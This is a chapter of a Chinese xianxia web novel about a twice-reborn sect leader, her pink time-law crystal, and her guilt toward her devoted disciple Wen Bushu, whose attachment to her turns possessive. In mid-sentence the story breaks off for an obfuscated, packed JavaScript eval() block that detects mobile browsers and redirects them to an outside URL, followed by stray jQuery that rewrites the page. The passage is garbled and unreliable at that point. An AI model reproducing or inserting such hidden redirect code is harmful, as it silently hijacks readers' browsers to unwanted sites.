“这东西有什么用?”云茸问,顺势将鹿头搁在衣月华肩膀上朝她手中看去。
此刻,两人一鹿已经立在了宫殿外的花园中,由于宫殿的缺失,大片空地显得他们仿佛站在地图上的蚂蚁,区别只是一只白色蚂蚁大了点。
衣月华捏了捏,粉色泡泡弹了弹,里面的宫殿显得有些虚幻,衣月华将灵力沿着灵物脉络游走的那一刻,泡泡破裂,变成了一块粉色的菱形水晶。
上下顶面是金线与银线构成的太阳、月亮图腾,另十面镶嵌了十块银镜,浑然一体。
宫殿不见了。
这块水晶衣月华认识,她曾得到过,但只得到过一次。
那是第二世,也就是她的第一次重生。
她那时清醒后,认为这次重生即是馈赠也是警告。
彻夜盘了盘自己两百多年的人生轨迹,确定自己唯一算得上问心有愧的,只有在对待温不书这件事上。
衣月华没有第一时间去找温不书,重生的经验让她的布局更为完善。
她重开会议、剔除叛徒、抛弃没什么用的秘境试炼、仔细划分了所有人该干的分区、添加了没来得及去的秘境和灵物寻找等,很忙,几乎没闲下来的时候。
等她想起温不书时,时间已经过去两年了。
她立刻寻了过去。
还好,温不书依旧在扶道城的边缘小镇。与她初见时不同,他靠自己得了一些机缘,成了一名莳花弄草的散修。
衣月华依然记得自己那一刻犹豫不前的心情,安心中混着一丝丝愧疚,复杂难明。
然后,他发现了她。
他似乎总是一眼就能发现她。
他说∶“您好,有什么需要帮忙的吗?”
衣月华感觉心一坠,荒谬地升起一丝尘埃落定之感。
这一世她还不是他的师父,他不需要承担她那近乎于苛刻的要求、不需要经历任何人的背叛、也不需要一个没把他当徒弟的上位者。
她走上前,说明来意。
“你身上有我需要的东西,希望你可以借给我。”她的声音流畅而冷静,“是你的一条骨,那是神骨。你可能不太明白它的作用,其实……”
“好。”
温不书眉眼清俊舒展,他打断了她的解释,明明茫然懵懂,却在她说明来意的那一刻立刻就答应了。
衣月华失语了一瞬,她看着眉眼依旧带着青涩的青年如记忆中那般温和有礼,弯着笑眼如清凌凌的清泉,明明第一次见自己,眼里的信任却一览无余。
衣月华那时心里只有一个念头∶
原来她作践的便是这样的人吗?
“吾、我会还给你。”她脱口而出,很快又补充∶“可能时间会有些久,但只要我还活着,我承诺未来将倾尽我所有为你铺路。”
“我是天曜圣地的曜日,如今因一些原由分身乏术,最多二十年,我来找你,你做我徒弟,我保证你将是我唯一的关门弟子。”
一些话似乎只要开了头,后面就顺畅了很多,衣月华记得自己许诺了很多好处,大多记不清了,但那时的温不书只是含笑听着,没有打断她。
许久,在她确定自己也想不出什么别的好处后,温不书才开口∶
“在您没来的二十年内,我可以去寻您吗?”
他表情恳切,仿佛这是什么多么无理的要求,看向衣月华的眼中带着她从未见过的不安。
衣月华还是拒绝了。
并不是觉得冒犯,她当时只是想着如果自己依旧死了,这些承诺都会无法作数,给了他太多念想反而是种残忍。
倒不如让他以为自己被骗了。
“好,我知道了。”
温不书笑眯眯的,没见太多失落,更多的是对她毫无保留的亲近。
衣月华觉得很奇怪,他看起来就是第一次见自己,可那自然而然就以她为先的态度很难不让人多想。
“你认识我吗?”
她还是没忍住问了一句。
温不书乖巧摇头,一直笑眯眯的表情此刻倒是显出两分落寞,低垂的睫羽像被抛弃的小狗。
“我希望我能认识您。”他顿了顿,轻轻抬眼看向她,一瞬不瞬、黑眸中皆是她的倒影∶“如果您能允许就好了。”
不认识就好,她还以为温不书也重生了,那样就很棘手了。
毕竟,如果他重生的话,肯定会相当憎恨自己吧?
那神骨还是得靠抢。
衣月华下意识拍了拍他的脑袋,看他眼睛微微睁大,又有些好笑∶
“你已经认识我了,我只是有些忙,所以如今没办法带你走,也没办法照顾到你。”
“你好好修炼,等我回来。”
温不书手指动了动,似乎想将她的手拉下来,最后却只是拽了拽她的衣袖∶
“我该如何称呼您呢?我还没有拜师,所以不能叫您师父,是吗?”
“直接叫您曜日姐姐会不会有点冒昧?”
衣月华没料到他纠结的仅仅是个称呼,她对这种东西一向没想法,但看着他一副很在意的表情,还是斟酌了一番∶
“我如今已经两百来岁,你的年纪太小,不太适合叫我姐姐。就叫师父吧,正式拜师再改口叫师尊就行。”
温不书那时几乎是立刻眼睛下弯,嘴角翘出小小的弧度,看起来还算开心∶
“好,师父。”
“师父,我前段时间意外去了个奇怪的地方,回来后一直辗转反侧难以入眠,还好您来了。”
“那时我得了一个奇怪的东西,您看对您否有用?”
“如果有用,这便是我给师父的见面礼。”
他话题转的很快,叫师父也是从善如流,然后递出一块粉色菱形水晶给衣月华,说是见面礼。
那块水晶,正是如今衣月华得到的这块篆刻日月图腾贴着十面银镜的水晶。
没想到当初的温不书一个人也来到了这个地方,甚至还拿到了这里被守护的灵物。
她当初是怎么说的?
好像是——
“这里面被封印了少量天道的权柄,有一部分时间法则。”
她说出口,与当初自己的声音重叠。
“对我很有用,谢谢。”
记忆回到她说出谢谢的那一须臾,青年含蓄的笑与此刻眼前少年青涩的眉眼重合,衣月华突觉时间流逝竟是如此猝不及防。
她对不起的又何止是第一世的温不书。
她再也没能兑现承诺,甚至一消失就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412390|200701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
永远,那个青年还在等吗?
抱着她可能会回去的希冀,等着不可能归来的人。
“你在谢谢谁啊?”云茸莫名其妙地开口,“你不是自己拿到的吗?”
衣月华回过神,笑容中带着自嘲∶
“对啊,这次是我先拿到了。”
温不书莫名觉得自己师尊有些低落,可是这没由来的情绪是怎么回事?
是谁惹他师尊不开心了?
“师尊,发生了什么事吗?”温不书尽量让自己表情显得无害,“我可以帮忙吗?”
衣月华看向温不书,缓缓吐了口气,仿佛在叹息∶
“不书,我是你的师尊,不用总想着为我分担。你只要好好长大、好好修炼,然后终有一天自己去见识一番天地。”
“你这一次、不,你以后可以更依赖我一些,我……会尽量做一个好师父。”
她没办法说前世今生,也没办法对此刻的温不书道歉,那是她与他的过去,但只有她记得,便再也无法补偿。
至少,可以以后不要再错。
温不书看着衣月华,她身量很高,与如今十六岁的自己平视,带着认真而坚定的眼神几乎要望进他的心里。
可她又怎知他心中囹圄。
他知道自己在笑,但他却只想知道衣月华此刻到底是因为谁、为了谁才会同他说这些?
到底是什么东西,在自己一向对谁都不在意的师尊心里刻下了如此重要的记忆?
师尊望着他的眼睛明明是他的倒影,却又透过他看向了更远的东西。
师尊,你透过我,到底在看谁?
“师尊,我记住了。”
温不书听到了自己的声音,他知道,他一向稳得住,不急于这一时。
至少他在她身边。
但——
“我也想更依赖师尊一些,但我从小没有父母教导,可能会做错事,师尊会烦我吗?”
温不书开口,眉眼低垂,发丝也耷拉在脸颊边,显得不知所措又可怜。
“不会。”衣月华立刻表态。
“师尊最好了——”
温不书尾音缱绻,笑容却依旧带着三分不安,云茸莫名觉得怪怪的,但它只是一头鹿,对人类复杂的感情一向不太懂,最后和温不书一左一右都挨着衣月华。
衣月华∶……总觉得哪里不对劲。
“是什么样的时间法则?”云茸好奇。
“和师尊刚刚沉思时那些事有关吗?”温不书悄悄靠近了一点。
“很有用的法则,我们出去说。”
衣月华感知到空间的不稳,掐了一个灵气罩,惊讶于温不书的敏锐∶
“我刚才确实想到了一些事,我只是遗憾无法弥补。”
“师尊,您不需要为任何人感到遗憾,那是他们的荣幸。”
温不书不确定在碎裂的空间中衣月华能不能听见自己说话,但他就是看不惯师尊为别人分神。
地下的核心开始剥离破碎,花园于无声中碎裂,远处飞来一堆大型带着困阵的气息的粉色泡泡,在靠近处一个接一个破开,发出清晰的声音。
“啵。”
“啪。”
……
他们坠入粉海。